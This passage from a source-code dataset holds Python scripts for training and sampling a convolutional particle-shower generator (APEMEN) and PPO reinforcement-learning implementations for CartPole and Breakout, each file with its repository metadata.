ModelCheckpoint\n\nimport utils.loadData\nimport utils.model as modelBuilder\nimport utils.callbacks\n\nparser = argparse.ArgumentParser(description=\"Train NN on input data\")\nparser.add_argument('--inputFiles', '-i', type=str, nargs='*', default=[\"input.memmap\"])\nparser.add_argument('--model', '-m', type=str, default='kernel2')\nparser.add_argument('--nEvents', '-n', type=int, default=-1)\nparser.add_argument('--output', '-o', type=str, default=\"\")\nparser.add_argument('--randomSeed', '-r', type=int, default=140280)\nparser.add_argument('--epochs', '-e', type=int, default=10)\nparser.add_argument('--weights', '-w', type=str, default='')\nparser.add_argument('--validation', '-v', type=str, nargs='*', default=[])\nparser.add_argument('--learning-rate', '-l', type=float, default=5.e-5)\nparser.add_argument('--batch-size', '-b', type=int, default=256)\nparser.add_argument('--pixels', '-p', type=int, default=64)\nparser.add_argument('--convolutions', '-c', type=int, default=9)\nparser.add_argument('--kernel', '-k', type=int, default=2)\n\nargs = parser.parse_args()\n\ntry:\n from ROOT import TFile, ROOT, gROOT, TGraph, TH1F, TH2F\nexcept:\n sys.stderr.write(\"\\nCould not find the ROOT python modules.\")\n raise\n \nnp.random.seed(args.randomSeed)\n\nmodel = modelBuilder.buildModel(nPixels=args.pixels, kernelSize=args.kernel, lr=args.learning_rate, kernel_regularisation=50., lossWeights=[100,10,1], nConvolutions=args.convolutions)\n\ndoWeights = False\n\nif args.weights is not \"\":\n doWeights=True\n print \"loading weights from \" + args.weights\n model.load_weights(args.weights)\n\nprint \"using \" + str(len(args.inputFiles)) + \" input files\"\n\ninput = utils.loadData.loadData(args.inputFiles, args.nEvents, nPixels=args.pixels)\n\nval_input = utils.loadData.loadData(args.validation, args.nEvents, nPixels=args.pixels)\n\nmodelName = args.model\n\nbestName = \"weights/\" + modelName + \"_latest.h5\"\nsaveBest = ModelCheckpoint(bestName, monitor='val_loss', verbose=0, save_best_only=True, mode='min', save_weights_only=True, period=1)\nbitslog = utils.callbacks.BitsLogger(nConvs=args.convolutions)\nentropylog = utils.callbacks.EntropyLogger()\n\n\nhistory = model.fit(input, input, epochs=args.epochs, batch_size=2*args.batch_size, validation_data=(val_input, val_input), callbacks=[saveBest, bitslog, entropylog])\n\nif args.output is not \"\":\n output = args.output\nelse:\n output = modelName + \"_\"+ str(len(input))\n \nh5 = output + \".h5\"\njson = output + \".json\"\nweights = output + \"_weights.h5\"\n \nfrom keras import backend as K\n\nnLevels = int(math.log(args.pixels, args.kernel) - 1 + 1.e-5)\n\nfor l in range(1, nLevels+1):\n print str(K.eval(model.get_layer('model_1').get_layer(\"filter_mask_\" + str(l)).filterProbs))\n \nfor i in range(1, args.convolutions + 1):\n kernel = model.get_layer('model_1').get_layer(\"conv2d_\" + str(i)).get_weights()[0][:,:,0,0]\n print \"conv kernel \" + str(i) + \" = \" +str(kernel)\n \nfor i in range(1, args.convolutions + 1):\n kernel = model.get_layer('model_1').get_layer(\"conv2d_transpose_\" + str(i)).get_weights()[0][:,:,0,0]\n print \"deconv kernel \" + str(i) + \" = \" + str(kernel)\n\nmodel.save_weights(weights)\n\n#print str(bits.bits_history)\n\noldLoss = None\noldLoss_v = None\noldBits = None\noldEntropy=None\n\nif doWeights and os.path.isfile(output + \"_history.root\"):\n oldHistoryFile = TFile(output + \"_history.root\", \"READ\")\n oldLoss_gr = oldHistoryFile.Get(\"training_loss\").Clone()\n oldLoss_gr.SetName(\"oldLoss\")\n oldLoss = np.array(oldLoss_gr.GetY(), \"d\")\n oldLoss_v_gr = oldHistoryFile.Get(\"validation_loss\").Clone()\n oldLoss_v_gr.SetName(\"oldVal_loss\")\n oldLoss_v = np.array(oldLoss_v_gr.GetY(), \"d\")\n oldBits_gr = oldHistoryFile.Get(\"bits\").Clone()\n oldBits_gr.SetName(\"bits\")\n oldBits = np.array(oldBits_gr.GetY(), \"d\")\n oldEntropy_gr = oldHistoryFile.Get(\"entropy\").Clone()\n oldEntropy_gr.SetName(\"entropy\")\n oldEntropy = np.array(oldEntropy_gr.GetY(), \"d\")\n\nhistoryFile = TFile(output + \"_history.root\", \"RECREATE\")\nhistoryFile.cd()\nloss = np.array(history.history[\"loss\"], \"d\")\nloss_v = np.array(history.history[\"val_loss\"])\nbits_ar = np.array(bitslog.bits_history, \"d\")\nentropy_ar = np.array(entropylog.entropy_history, \"d\")\n\nif oldLoss is not None:\n loss = np.concatenate([oldLoss, loss])\n\nif oldLoss_v is not None:\n loss_v = np.concatenate([oldLoss_v, loss_v])\n\nif oldBits is not None:\n bits_ar = np.concatenate([oldBits, bits_ar])\n\nif oldEntropy is not None:\n entropy_ar = np.concatenate([oldEntropy, entropy_ar])\n\n\nepochs = np.arange(len(loss), dtype=\"d\")\nloss_gr = TGraph(len(epochs), epochs, loss)\nloss_gr.SetName(\"training_loss\")\nloss_gr.Write()\nloss_v_gr = TGraph(len(epochs), epochs, loss_v)\nloss_v_gr.SetName(\"validation_loss\")\nloss_v_gr.Write()\n\nbits_gr = TGraph(len(epochs), epochs, bits_ar)\nbits_gr.SetName(\"bits\")\nbits_gr.Write()\n\nentropy_gr = TGraph(len(epochs), epochs, entropy_ar)\nentropy_gr.SetName(\"entropy\")\nentropy_gr.Write()\n\n\n" }, { "alpha_fraction": 0.5817610025405884, "alphanum_fraction": 0.6477987170219421, "avg_line_length": 29.70967674255371, "blob_id": "89132586268d9dc917b2fd0f3c58df0a1d2f8bc5", "content_id": "36ee63c74017d2331a05bebba21a874d928924be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3816, "license_type": "no_license", "max_line_length": 165, "num_lines": 124, "path": "/bin/predict_generator.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport importlib, os,sys\nimport numpy as np\nimport argparse\nfrom keras.callbacks import ModelCheckpoint\n\nimport utils.loadData\nimport utils.model as modelBuilder\n\nparser = argparse.ArgumentParser(description=\"Evaluate trained NN on input data\")\nparser.add_argument('--inputFiles', '-i', type=str, nargs='*', default=[\"input.memmap\"])\nparser.add_argument('--nEvents', '-n', type=int, default=-1)\nparser.add_argument('--output', '-o', type=str, default=\"testRun\")\nparser.add_argument('--randomSeed', '-r', type=int, default=100217)\nparser.add_argument('--weights', '-w', type=str, default='testRun')\nparser.add_argument('--pixels', '-p', type=int, default=64)\nparser.add_argument('--convolutions', '-c', type=int, default=9)\nparser.add_argument('--kernel', '-k', type=int, default=2)\n\neventCounter=0\n\ndef writeHeader(w, output):\n \n global eventCounter\n \n line = \"E \"+ str(eventCounter) + \" -1 -1.0 1.0 1.0 0 -1 1 10001 10002 0 1 \" + str(w) + \"\\n\"\n output.write(line)\n output.write('N 1 \"0\" \\n')\n output.write(\"U GEV MM\\n\")\n output.write(\"C 1. 1.\\n\")\n output.write(\"F 0 0 0. 0. 0. 0. 0. 0 0\\n\")\n \n eventCounter+=1\n \n return\n\ndef toMomentum(p):\n \n pT = p[2]\n pT2 = pT*pT\n cosphi = np.cos(p[1])\n sinphi = np.sin(p[1])\n tanhy = np.tanh(p[0])\n \n px = pT*cosphi\n py = pT*sinphi\n \n # Potentially add mass term here according to grid size?\n \n e2 = pT2 / (1. - tanhy*tanhy)\n \n pz2 = e2 - pT2\n \n return [px, py, np.sign(p[0])*np.sqrt(pz2), np.sqrt(e2)]\n\nargs = parser.parse_args()\n\nnp.random.seed(args.randomSeed)\n\noutput=open(args.output, \"w\")\noutput.write(\"\\n\")\noutput.write(\"HepMC::Version 2.06.09\\n\")\noutput.write(\"HepMC::IO_GenEvent-START_EVENT_LISTING\\n\")\n\nepsilon = 0.1\nnBins = args.pixels\nbinWidth = 2.*np.pi / float(nBins)\n\nmodel = modelBuilder.buildModel(nPixels=args.pixels, lr=2.e-5, kernel_regularisation=50., kernelSize=args.kernel, nConvolutions=args.convolutions, merge_shower=True)\n\nprint \"loading weights from \" + args.weights\nmodel.load_weights(args.weights)\n\ngen = utils.loadData.generate_events(args.inputFiles, nEvents=args.nEvents, nPixels=args.pixels, normalise=False, predict_mode=True)\n\nprint \"Generating \" + str(gen.nEvents) + \" events\"\n\nprintCounter=1\n\nfor batch in range(gen.nBatches):\n input = gen.__getitem__(batch)\n weights = gen.getWeights(batch)\n prediction = model.predict(input).squeeze(axis=3)\n\n for ii in range(gen.batch_size):\n \n if eventCounter%printCounter ==0:\n print \"Generated \" + str(eventCounter) + \" events\"\n \n if printCounter != 10000 and eventCounter == 10* printCounter:\n printCounter *=10\n \n event = prediction[ii]\n weight = weights[ii]\n \n writeHeader(weight, output)\n\n particles = []\n yNominal = -np.pi -0.5*binWidth\n\n for ybin in range(0, nBins):\n yNominal += binWidth\n phiNominal = -0.5*binWidth\n\n for phibin in range(0, nBins):\n phiNominal += binWidth\n pT = event[ybin, phibin]\n\n if pT > epsilon:\n particle = [np.random.uniform(-0.5, 0.5)*binWidth + yNominal, np.random.uniform(-0.5, 0.5)*binWidth + phiNominal, pT]\n particles.append(particle)\n#output.write(str(particle[0]) + \" \" + str(particle[1]) + \" \" + str(particle[2]) + \"\\n\")\n\n output.write(\"V -1 0 0 0 0 0 2 \"+str(len(particles)) + \" 0\\n\")\n output.write(\"P 10001 2212 0 0 6.499999932280e+03 6.500000000000e+03 9.382720033633e-01 2 0 0 -1 0\\n\")\n output.write(\"P 10002 2212 0 0 -6.499999932280e+03 6.500000000000e+03 9.382720033633e-01 2 0 0 -1 0\\n\")\n barcode = 10003\n for p in particles:\n m = toMomentum(p)\n output.write(\"P \" + str(barcode) + \" 21 \" + str(m[0]) + \" \" + str(m[1]) + \" \" + str(m[2]) + \" \" + str(m[3]) + \" 0.0 1 0 0 -1 0\\n\" )\n barcode += 1\n\noutput.write(\"HepMC::IO_GenEvent-END_EVENT_LISTING\\n\")\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6746826767921448, "alphanum_fraction": 0.6913827657699585, "avg_line_length": 33.627906799316406, "blob_id": "d67649af805b2d32077b68b93686f699dfcc9cfc", "content_id": "79eb53671d050d64479b64daee822f418ff2ee6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1497, "license_type": "no_license", "max_line_length": 109, "num_lines": 43, "path": "/bin/dumpKernels.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport importlib, os,sys\nimport numpy as np\nimport argparse\nfrom keras import backend as K\nimport utils.model as modelBuilder\n\nimport math\n\nparser = argparse.ArgumentParser(description=\"Dump model params\")\n#parser.add_argument('--model', '-m', type=str, default='kernel2')\n#parser.add_argument('--output', '-o', type=str, default=\"\")\nparser.add_argument('--weights', '-w', type=str, default='')\nparser.add_argument('--pixels', '-p', type=int, default=64)\nparser.add_argument('--convolutions', '-c', type=int, default=9)\nparser.add_argument('--kernel', '-k', type=int, default=2)\n\nargs = parser.parse_args()\n\ntry:\n from ROOT import TFile, ROOT, gROOT, TGraph, TH1F, TH2F\nexcept:\n sys.stderr.write(\"\\nCould not find the ROOT python modules.\")\n raise\n\nmodel = modelBuilder.buildModel(nPixels=args.pixels, kernelSize=args.kernel, nConvolutions=args.convolutions)\nmodel.load_weights(args.weights)\n\nsingleCore = model.get_layer('model_1')\n\nnLevels = int(math.log(args.pixels, args.kernel) - 1 + 1.e-5)\n\nfor i in range(1, args.convolutions+1):\n kernel = singleCore.get_layer(\"conv2d_\" + str(i)).get_weights()[0][:,:,0,0]\n print \"conv kernel \" + str(i) + \" = \" + str(kernel)\n\nfor i in range(1, nLevels+1):\n print str(K.eval(singleCore.get_layer(\"filter_mask_\" + str(i)).filterProbs ))\n\nfor i in range(1, args.convolutions+1):\n kernel = singleCore.get_layer(\"conv2d_transpose_\" + str(i)).get_weights()[0][:,:,0,0]\n print\"deconv kernel \" + str(i) + \" = \"+ str(kernel)\n \n\n\n\n\n\n" } ]
13
ray075hl/RL_classic_algorithms
https://github.com/ray075hl/RL_classic_algorithms
b16394a1014032298c939443a5b27e15a53d0e3d
7732eb7c2860918ff49f013a1deecf5c9c4585ac
da1a264595de4e4477ca863a1e3f61c4c0d49314
refs/heads/master
2020-03-09T12:31:13.580394
2019-08-25T11:04:45
2019-08-25T11:04:45
128,788,171
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8260869383811951, "alphanum_fraction": 0.8260869383811951, "avg_line_length": 56, "blob_id": "edcfa7ca7df5d755b45075bd3ba9c01d24714b4e", "content_id": "2abd5ffb1a2bf595eb887a0b81fa5f2544f3ec83", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 115, "license_type": "permissive", "max_line_length": 89, "num_lines": 2, "path": "/README.md", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "# RL_classic_algorithms\nI will write several classic reinforcement learning algorithms in this project(updating). \n" }, { "alpha_fraction": 0.5700727701187134, "alphanum_fraction": 0.5847833156585693, "avg_line_length": 28.966825485229492, "blob_id": "71bb4169a89e7602d8b4bdbb3751d79cd6683198", "content_id": "ccf517c43c3284ae61eff106eb9f0acf87c4f6f3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6322, "license_type": "permissive", "max_line_length": 141, "num_lines": 211, "path": "/Policy_Gradient/PPO_cartpole.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import gym\nimport random\nimport math\nimport time\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.distributions import Normal\nfrom multiprocessing_env import SubprocVecEnv\n\n\ndef make_env():\n def _thunk():\n env = gym.make(env_name)\n return env\n\n return _thunk\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\nenv_num = 16\nenv_name = 'CartPole-v0'\n\nenv = gym.make(env_name)\n\nenvs = [make_env() for i in range(env_num)]\nenvs = SubprocVecEnv(envs)\n\ndef compute_gae(next_value, rewards, masks, values, gamma=0.99, tau=0.95):\n values = values + [next_value]\n gae = 0\n returns = []\n for step in reversed(range(len(rewards))):\n delta = rewards[step] + gamma * values[step + 1] * masks[step] - values[step]\n gae = delta + gamma * tau * masks[step] * gae\n returns.insert(0, gae + values[step])\n return returns\n\n\nclass ActorCritic(nn.Module):\n def __init__(self, num_inputs, num_outputs, hidden_size):\n super(ActorCritic, self).__init__()\n\n self.critic = nn.Sequential(\n nn.Linear(num_inputs, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, 1)\n )\n\n self.actor = nn.Sequential(\n nn.Linear(num_inputs, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, num_outputs)\n )\n\n def forward(self, x):\n value = self.critic(x)\n dis = self.actor(x)\n\n return dis, value\n\n\n\nnum_inputs = envs.observation_space.shape[0]\nnum_outputs = envs.action_space.n\n\n#Hyper params:\nhidden_size = 64\nlr = 1e-3\nnum_steps = 10\nmini_batch_size = 5\nppo_epochs = 8\nthreshold_reward = 195.0\n\nmodel = ActorCritic(num_inputs, num_outputs, hidden_size).to(device)\noptimizer = optim.Adam(model.parameters(), lr=lr)\n\n\nmax_frames = 1500000\nframe_idx = 0\ntest_rewards = []\n\n\nstate = envs.reset()\nearly_stop = False\n\n\ndef ppo_iter(mini_batch_size, states, actions, log_probs, returns, advantage):\n batch_size = states.size(0)\n for _ in range(batch_size // mini_batch_size):\n rand_ids = np.random.randint(0, batch_size, mini_batch_size)\n yield states[rand_ids, :], actions[rand_ids, :], log_probs[rand_ids, :], returns[rand_ids, :], advantage[\n rand_ids, :]\n\n\ndef ppo_update(ppo_epochs, mini_batch_size, states, actions, log_probs, returns, advantages, clip_param=0.2):\n for _ in range(ppo_epochs):\n for state, action, old_log_probs, return_, advantage in ppo_iter(mini_batch_size, states, actions, log_probs,\n returns, advantages):\n dist, value = model(state)\n prob = F.softmax(dist, dim=-1)\n log_prob_ = F.log_softmax(dist, dim=-1)\n entropy = (prob*(-1.0*log_prob_)).sum()\n new_log_probs = F.log_softmax(dist, dim=1) #dist.log_prob(action)\n\n\n ratio = (new_log_probs[range(mini_batch_size), action.squeeze()] - old_log_probs[range(mini_batch_size), action.squeeze()]).exp()\n surr1 = ratio * advantage\n surr2 = torch.clamp(ratio, 1.0 - clip_param, 1.0 + clip_param) * advantage\n\n actor_loss = -torch.min(surr1, surr2).mean()\n critic_loss = (return_ - value).pow(2).mean()\n #print('critic_loss: {}, actor_loss: {}, entropy_loss: {}'.format(critic_loss, actor_loss, entropy))\n loss = 0.5*critic_loss + actor_loss - 0.001 * entropy\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n\ndef test_env(vis=False):\n state = env.reset()\n if vis: env.render()\n done = False\n total_reward = 0\n while not done:\n state = torch.FloatTensor(state).unsqueeze(0).to(device)\n dist, _ = model(state)\n dist = F.softmax(dist, dim=1)[0]\n # print(dist)\n action = np.random.choice(2, p=dist.cpu().detach().numpy())\n next_state, reward, done, _ = env.step(action)\n state = next_state\n if vis:\n env.render()\n time.sleep(0.1)\n total_reward += reward\n return total_reward\n\n\ntest_rewards_list = []\nwhile frame_idx < max_frames and not early_stop:\n\n log_probs = []\n values = []\n states = []\n actions = []\n rewards = []\n masks = []\n entropy = 0\n\n # first state , last state\n for _ in range(num_steps):\n state = torch.FloatTensor(state).to(device)\n logits, value = model(state)\n\n prob = F.softmax(logits, dim=1)\n action_list = []\n\n for i in range(len(prob)):\n action = np.random.choice(num_outputs, p=prob.cpu().detach().numpy()[i])\n action_list.append(action)\n # print(action_list)\n next_state, reward, done, _ = envs.step(action_list)\n\n log_prob = F.log_softmax(logits, dim=-1)\n\n log_probs.append(log_prob)\n values.append(value)\n rewards.append(torch.FloatTensor(reward).unsqueeze(1).to(device)) # 2D list\n masks.append(torch.FloatTensor(1 - done).unsqueeze(1).to(device)) # 2D list\n\n\n states.append(state)\n actions.append(torch.from_numpy(np.asarray(action_list)).unsqueeze(1))\n action_list.clear()\n state = next_state # -----------------\n frame_idx += 1\n\n if frame_idx % 100 == 0:\n test_rewards = test_env()\n #print(test_rewards)\n test_rewards_list.append(test_rewards)\n print(sum(test_rewards_list[-50:])/50)\n if 1.0*sum(test_rewards_list[-50:])/50 > 195.0:\n print('solved')\n break\n\n next_state = torch.FloatTensor(next_state).to(device)\n _, next_value = model(next_state)\n returns = compute_gae(next_value, rewards, masks, values)\n\n returns = torch.cat(returns).detach()\n log_probs = torch.cat(log_probs).detach()\n values = torch.cat(values).detach()\n states = torch.cat(states)\n actions = torch.cat(actions)\n advantage = returns -values\n\n ppo_update(ppo_epochs, mini_batch_size, states, \\\n actions, log_probs, returns, advantage)\n\n\nlast_rewards = test_env(vis=True)\nprint('final reward: ', last_rewards)\nenv.close()" }, { "alpha_fraction": 0.48587825894355774, "alphanum_fraction": 0.5085334777832031, "avg_line_length": 27.1680850982666, "blob_id": "82a5c52f633834a68a0347287174aa96de453a0c", "content_id": "a6906a39eb0c2c28d29080264832fd5f2a26d2e5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13242, "license_type": "permissive", "max_line_length": 141, "num_lines": 470, "path": "/Policy_Gradient/warp_Agame.py", "repo_name": "ray075hl/RL_classic_algorithms", "src_encoding": "UTF-8", "text": "import gym\nimport numpy as np\nimport cv2\nimport random\n\nimport multiprocessing\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.nn.utils import clip_grad_norm_\n\n\nDEBUG = False\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device('cuda' if use_cuda else 'cpu')\n\ndef compute_gae(next_value, rewards, masks, values, gamma=0.99, tau=0.95):\n values = values + [next_value]\n gae = 0\n returns = []\n for step in reversed(range(len(rewards))): # len(rewards) = 10\n delta = rewards[step] + gamma * values[step + 1] * masks[step] - values[step]\n gae = delta + gamma * tau * masks[step] * gae\n returns.insert(0, gae + values[step])\n\n return returns\n\n\ndef ppo_iter(mini_batch_size, states, actions, log_probs, returns, advantage):\n batch_size = states.size(0)\n # print(batch_size)\n for _ in range(batch_size // mini_batch_size):\n rand_ids = np.random.randint(0, batch_size, mini_batch_size)\n yield states[rand_ids, :], actions[rand_ids, :], log_probs[rand_ids, :], returns[rand_ids, :], advantage[\n rand_ids, :]\n\n\ndef ppo_update(ppo_epochs, mini_batch_size, states, actions, log_probs, returns, advantages, clip_param=0.2):\n for _ in range(ppo_epochs):\n for state, action, old_log_probs, return_, advantage in ppo_iter(mini_batch_size, states, actions, log_probs,\n returns, advantages):\n # advantage = (advantage - advantage.mean()) / (advantage.std() + 1e-5)\n dist, value = model(state)\n prob = F.softmax(dist, dim=-1)\n log_prob_ = F.log_softmax(dist, dim=-1)\n entropy = (prob*(-1.0*log_prob_)).mean()\n new_log_probs = F.log_softmax(dist, dim=1) #dist.log_prob(action)\n\n\n ratio = (new_log_probs[range(mini_batch_size), action.squeeze()] - old_log_probs[range(mini_batch_size), action.squeeze()]).exp()\n surr1 = ratio * advantage\n surr2 = torch.clamp(ratio, 1.0 - clip_param, 1.0 + clip_param) * advantage\n\n actor_loss = -torch.min(surr1, surr2).mean()\n critic_loss = (return_ - value).pow(2).mean()\n #print('critic_loss: {}, actor_loss: {}, entropy_loss: {}'.format(critic_loss, actor_loss, entropy))\n loss = 0.5*critic_loss + actor_loss - 0.001 * entropy\n\n optimizer.zero_grad()\n loss.backward()\n clip_grad_norm_(model.parameters(), 0.5)\n optimizer.step()\n\n# class Game:\n#\n# def __init__(self, seed: int):\n# # Breakout actions = ['noop', 'fire', 'right', 'left']\n# self.env = gym.make('BreakoutNoFrameskip-v4')\n#\n# self.env.seed(seed)\n#\n# self.obs_2_max = np.zeros((2, 1, 84, 84), np.uint8)\n#\n# self.obs_4 = np.zeros((4, 84, 84))\n#\n# self.rewards = []\n#\n# self.lives = 0\n#\n# def step(self, action):\n# reward = 0\n# done = None\n#\n# # Each 4 frames take the same action\n# for i in range(4):\n# # obs is rgb picture\n# obs, r, done, info = self.env.step(action)\n#\n# if i >= 2:\n# self.obs_2_max[i % 2] = self._process_obs(obs)\n#\n# reward += r\n#\n# lives = self.env.unwrapped.ale.lives()\n#\n# if lives < self.lives:\n# done = True\n#\n# self.lives = lives\n#\n# # Game Over!\n# if done:\n# break\n#\n# self.rewards.append(reward)\n#\n# # Game Over!\n# if done:\n#\n# episode_info = {\"reward\": sum(self.rewards),\n# \"length\": len(self.rewards)}\n#\n# self.reset()\n# else:\n# episode_info = None\n#\n# obs = self.obs_2_max.max(axis=0)\n# # cv2.imwrite('xxx.png', obs.transpose(1,2,0))\n#\n# self.obs_4 = np.roll(self.obs_4, shift=-1, axis=0)\n# self.obs_4[-1:, ...] = obs\n#\n# return self.obs_4, reward, done, episode_info\n#\n#\n# def reset(self):\n#\n# self.env.reset()\n# obs, _, done, _ = self.env.step(1) # 1 is fire button : signal of game begin\n# # self.obs_4 = np.zeros((4, 84, 84))\n# obs = self._process_obs(obs)\n# self.obs_4[0:, ...] = obs\n# self.obs_4[1:, ...] = obs\n# self.obs_4[2:, ...] = obs\n# self.obs_4[3:, ...] = obs\n#\n# self.lives = self.env.unwrapped.ale.lives()\n#\n# return self.obs_4\n#\n# @staticmethod\n# def _process_obs(obs):\n#\n# obs = cv2.cvtColor(obs, cv2.COLOR_BGR2GRAY)\n# obs = cv2.resize(obs, (84, 84), interpolation=cv2.INTER_AREA)\n# return obs[None, :, :]\n\n\nclass Game(object):\n\n\n\n def __init__(self, seed: int):\n\n\n\n self.env = gym.make('BreakoutNoFrameskip-v4')\n self.env.seed(seed)\n\n\n\n self.obs_2_max = np.zeros((2, 84, 84, 1), np.uint8)\n\n\n\n self.obs_4 = np.zeros((84, 84, 4))\n\n\n\n self.rewards = []\n\n\n\n self.lives = 0\n\n\n\n def step(self, action):\n\n reward = 0.\n done = None\n\n for i in range(4):\n\n obs, r, done, info = self.env.step(action)\n\n if i >= 2:\n self.obs_2_max[i % 2] = self._process_obs(obs)\n\n reward += r\n\n\n\n lives = self.env.unwrapped.ale.lives()\n # print(lives)\n\n if lives < self.lives:\n done = True\n self.lives = lives\n\n\n if done:\n break\n\n\n self.rewards.append(reward)\n\n if done:\n episode_info = {\"reward\": sum(self.rewards),\n \"length\": len(self.rewards)}\n self.reset()\n else:\n episode_info = None\n\n obs = self.obs_2_max.max(axis=0)\n\n self.obs_4 = np.roll(self.obs_4, shift=-1, axis=-1)\n self.obs_4[..., -1:] = obs\n\n return self.obs_4, reward, done, episode_info\n\n\n def reset(self):\n\n\n obs = self.env.reset()\n obs, _, _, _ = self.env.step(1)\n\n obs = self._process_obs(obs)\n\n self.obs_4[..., 0:] = obs\n self.obs_4[..., 1:] = obs\n self.obs_4[..., 2:] = obs\n self.obs_4[..., 3:] = obs\n self.rewards = []\n\n self.lives = self.env.unwrapped.ale.lives()\n\n return self.obs_4\n\n\n\n\n @staticmethod\n def _process_obs(obs):\n\n\n\n obs = cv2.cvtColor(obs, cv2.COLOR_RGB2GRAY)\n obs = cv2.resize(obs, (84, 84), interpolation=cv2.INTER_AREA)\n return obs[:, :, None] # Shape (84, 84, 1)\n\n\n\ndef worker_process(remote,\n seed: int):\n\n game = Game(seed)\n\n while True:\n cmd, data = remote.recv()\n if cmd == 'step':\n remote.send(game.step(data))\n elif cmd == 'reset':\n remote.send(game.reset())\n elif cmd == 'close':\n remote.close()\n else:\n raise NotImplementedError\n\n\nclass Worker:\n\n #child: multiprocessing.Connection\n process: multiprocessing.Process\n\n def __init__(self, seed):\n self.child, parent = multiprocessing.Pipe()\n self.process = multiprocessing.Process(target=worker_process,\n args=(parent, seed))\n self.process.start()\n\n\nclass Model(nn.Module):\n def __init__(self, input_shape, n_actions):\n super(Model, self).__init__()\n\n self.conv = nn.Sequential(\n nn.Conv2d(input_shape[0], 32, kernel_size=8, stride=4),\n nn.ReLU(),\n nn.Conv2d(32, 64, kernel_size=4, stride=2),\n nn.ReLU(),\n nn.Conv2d(64, 64, kernel_size=3, stride=1),\n nn.ReLU()\n )\n\n\n conv_out_size = self._get_conv_out(input_shape)\n\n self.policy = nn.Sequential(\n nn.Linear(conv_out_size, 512),\n nn.ReLU(),\n nn.Linear(512, n_actions)\n )\n\n self.value = nn.Sequential(\n nn.Linear(conv_out_size, 512),\n nn.ReLU(),\n nn.Linear(512, 1)\n )\n\n def _get_conv_out(self, shape):\n o = self.conv(torch.zeros(1, *shape))\n return int(np.prod(o.size()))\n\n def forward(self, x):\n fx = x.float() / 256\n conv_out = self.conv(fx).view(fx.size()[0],-1)\n return self.policy(conv_out), self.value(conv_out)\n\ndef play_game(net, game_: Game, visual=False):\n\n state = game_.reset()\n\n\n done = False\n total_reward = 0.0\n\n while not done:\n if visual == True:\n game_.env.render()\n state = torch.FloatTensor(state.transpose(2,0,1)).unsqueeze(0).to(device)\n dist, _ = net(state)\n dist = F.softmax(dist, dim=-1)\n action = np.argmax(dist.cpu().detach().numpy(), axis=-1)\n\n next_state, reward, done, _ = game_.step(action)\n\n state = next_state\n total_reward += reward\n\n return total_reward\n\n\nif __name__ == '__main__':\n\n total_rewards_list = []\n action_space = 4\n lr = 0.0001\n gamma_ = 0.99\n lambda_ = 0.95\n\n updates = 10000\n\n ppo_epochs = 4\n n_workers = 8\n num_steps = 128\n n_mini_batch = 128\n\n batch_size = n_workers * num_steps\n\n mini_batch_size = batch_size // n_mini_batch\n assert (batch_size % n_mini_batch == 0)\n\n model = Model(input_shape=(4, 84, 84), n_actions=action_space).to(device)\n\n workers = [Worker(1111+i) for i in range(n_workers)]\n\n state = np.zeros((n_workers, 84, 84, 4), dtype=np.uint8)\n for worker in workers:\n worker.child.send(('reset', None))\n for i, worker in enumerate(workers):\n state[i] = worker.child.recv()\n state = state.transpose(0, 3, 1, 2)\n optimizer = optim.Adam(model.parameters(), lr=lr)\n\n max_frames = 100000\n frame_idx = 0\n solved = False\n try:\n while frame_idx < max_frames and not solved:\n log_probs = []\n values = []\n states = []\n actions = []\n rewards = []\n masks = []\n\n\n for _ in range(num_steps):\n\n state = torch.FloatTensor(state).to(device)\n logits, value = model(state)\n\n prob = F.softmax(logits, dim=-1)\n action_list = []\n\n log_prob = F.log_softmax(logits, dim=-1)\n log_probs.append(log_prob)\n\n for i in range(len(prob)):\n action = np.random.choice(action_space, p=prob.cpu().detach().numpy()[i])\n action_list.append(action)\n # print(action_list)\n # print()\n\n for i, worker in enumerate(workers):\n worker.child.send((\"step\", action_list[i]))\n next_state = []\n reward = []\n done = []\n for i, worker in enumerate(workers):\n next_state_, reward_, done_, info = worker.child.recv()\n next_state_ = next_state_.transpose(2, 0, 1)\n next_state.append(next_state_[np.newaxis,...])\n reward.append(reward_)\n done.append(done_)\n\n next_state = np.concatenate(next_state, axis=0)\n reward = np.asarray(reward)\n done = np.asarray(done)\n\n # if DEBUG:\n # print(next_state.shape)\n # print(reward.shape)\n # print(done.shape)\n # print()\n\n values.append(value)\n rewards.append(torch.FloatTensor(reward).unsqueeze(1).to(device)) # 2D list\n masks.append(torch.FloatTensor(1 - done).unsqueeze(1).to(device)) # 2D list\n\n states.append(state)\n actions.append(torch.from_numpy(np.asarray(action_list)).unsqueeze(1).to(device))\n state = next_state # -----------------\n frame_idx += 1\n\n if frame_idx % 1 == 0:\n\n game_test = Game(random.randint(10000,20000))\n current = play_game(model, game_test)\n total_rewards_list.append(current)\n mean_last100 = sum(total_rewards_list[-100:])/len(total_rewards_list[-100:])\n print('frame_idx: {} \\t mean_last100: {} \\t current: {}'.format(frame_idx, mean_last100, current))\n if mean_last100 > 100:\n solved = True\n\n next_state = torch.FloatTensor(next_state).to(device)\n _, next_value = model(next_state)\n\n returns = compute_gae(next_value, rewards, masks, values)\n returns = 